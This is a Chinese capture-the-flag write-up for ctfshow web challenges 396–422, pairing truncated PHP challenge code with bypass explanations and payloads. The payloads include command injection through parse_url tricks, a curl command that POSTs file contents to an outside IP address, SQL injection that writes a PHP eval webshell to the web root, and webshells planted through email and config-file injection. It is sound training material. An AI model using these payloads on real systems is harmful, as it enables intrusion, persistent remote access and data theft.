18.其他
靶场/来源: ctfshow
web396
题目:
1 | if(isset($_GET['url'])){ |
shell_exec
任意代码执行可以通过;,||,&&
同时执行多个语句,配合parse_url
绕过
payload:?url=http://1/1;echo
cat * > a.txt;
这里可以选择从host下手还是path
web397-400(parse_url路径rce)
题目:
1 | if(isset($_GET['url'])){ |
payload:
?url=http://127/echo
cat * > a.txt
web401-402(parse_url协议绕过rce)
题目:
1 | if(isset($_GET['url'])){ |
payload:
1 | ?url=xxx://127/echo `cat *` > a.txt |
web403
题目:
1 | if(isset($_GET['url'])){ |
payload:
1 | http://127.0.0.1/;echo `ls` > a.txt; |
web405
题目:
1 | if(isset($_GET['url'])){ |
解析:
host
只能为ip地址
path
只能包含字母和数字
scheme
协议必须包含~
,.
,php
所以我们可以从scheme
下手
payload:
1 | ?url=php://;curl -X POST -d "q=`cat *`" 106.55.188.110;127.0.0.1/f |
web406
题目:
1 | require 'config.php'; |
filter_var ($url,FILTER_VALIDATE_URL)
验证$url
是不是一个合法的url(至少包括协议和路径)
FILTER_SANITIZE_URL
:删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]<>#%”;/?😡&=
(可以看到这里没有<>,所以下面需要进行十六进制编码)
使用
payload:
1 | ?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f706870206576616c28245f504f53545b615d293b3f3e/**/into/**/outfile/**/"/var/www/html/5.php"%23 |
成功写入shell,使用蚁剑进行连接
可以看到题目提示flag in db
,flag在数据库当中,而蚁剑连接到的账号只是www-data
权限,不能连接mysql
所以这里有三种思路
1.对Linux用户进行提权
2.使用php的mysql语句查询
3.写一个有sql注入的功能点代码,然后使用sqlmap跑
直接在idnex.php进行修改
得到flag
web407
1 | $ip=$_GET['ip']; |
call_user_func()函数接受多个参数,并将第一个参数作为方法或函数名,后面作为参数进行调用
call_user_func($callback [, $parameter1 [, $parameter2 [, ... ]]])
call_user_func
的一些用法,分为普通函数,类方法,静态方法和匿名函数示例 1:调用普通函数
1
2
3
4
5function greet($name) {
echo "Hello, $name!";
}
call_user_func('greet', 'John');输出为:Hello, John!
示例 2:调用类方法
1
2
3
4
5
6
7
8
9class MyClass {
public function sayHello($name) {
echo "Hello, $name!";
}
}
$obj = new MyClass();
call_user_func([$obj, 'sayHello'], 'John');输出为:Hello, John!
示例 3:调用静态方法
1
2
3
4
5
6
7
8class Math {
public static function square($num) {
return $num * $num;
}
}
$result = call_user_func(['Math', 'square'], 5);
echo $result; // 输出 25示例 4:调用匿名函数(闭包)
1
2
3
4
5$greet = function ($name) {
echo "Hello, $name!";
};
call_user_func($greet, 'John');filter_var
指定一个过滤器过滤一个变量
而filter_var ($ip,FILTER_VALIDATE_IP)
,判断一个变量是不是ip
可以使用ip的零压缩法
进行绕过,
ip的零压缩法:
IPv6地址是一个128位长的二进制数,通常以8组16进制数的形式表示,每组表示16位(4个十六进制数字)。例如,一个IPv6地址可能如下所示:
1
2 2001:0db8:0000:0000:0000:0000:1428:57ab在零压缩法中,连续的全零段可以被简化表示为双冒号
::
,但是::
只能出现一次。这样可以大幅减少地址的长度。下面是一个使用零压缩法表示的示例:
1
2 2001:0db8::1428:57ab上述示例中,连续的零段
0000:0000:0000:0000
被替换为::
,使得地址更加简洁。
而在php中cafe::add
表示调用名为 add
的静态方法,该方法属于 cafe
类
因为这两者的差异,形成了这一个绕过方法
payload:?ip=cafe::add
web408
1 | $email=$_GET['email']; |
格式为:写入内容@写入文件名
注意几个点:
- 写入内容部分要用双引号包起来
- 写入内容不能含有空格
payload:?email="<?=system($_GET[1]);?>"@1.php
web409
1 | $email=$_GET['email']; |
因为@后面的内容不符合PHP语法,所以通过闭合去除掉
可行但是发现前面的”也是非法的
题目有个替换为.flag也就是把flag和它前面那个字符替换为空,这就可以把emai当中前面双引号这个非法字符给替换掉,避免在php环境里面出错
最终paylaod:
1 | email="flagsystem($_POST[1]);?>"@123.com |
web410
1 | $b=$_GET['b']; |
所以我们可以使用其他值进行绕过:
?b=on
或?b=yes
web411
1 | $b=$_GET['b']; |
payload:?b=On
或?b=yes
web412
1 | $ctfshow=$_POST['ctfshow']; |
这道题很坑,如果单纯用命令执行ls之类的话,一个容器只能用一次,因为//
会把后面添加进去的内容注释掉,下次添加内容就在注释里面,调用不了
payload:POST:ctfshow=?><?php system("cat *");?><?
PS:这里也可以直接写个马进去
web413
1 | $ctfshow=$_POST['ctfshow']; |
先POST请求发送
ctfshow=*/system($_GET[1]);/*
再
1 | GET:1=cat flag.php|grep flag |
web414
1 | $ctfshow=$_GET['ctfshow']; |
payload:?ctfshow=-1
web415
1 | $k = $_GET[k]; |
大小写绕过
payload:?k=Getflag
web416
1 | class ctf{ |
需要调用类中的函数:
payload:?f=ctf::flag
web419
1 | $code = $_POST['code']; |
payload:code=echo cat *;
web420
1 | $code = $_POST['code']; |
payload:code=nl ../*
草,一直以为在/tmp
下面的是flag,然后又限制8个字符读不到
web421
1 | $code = $_POST['code']; |
payload:code=nl *
(本来还以为是是什么极限绕过,没想到ls一看,啪,flag就在目录下)
we422
1 | $code = $_POST['code']; |
方法1:payload:code=nl *
跟上题一样
方法2:
1 | >cat //创建一个文件夹cat |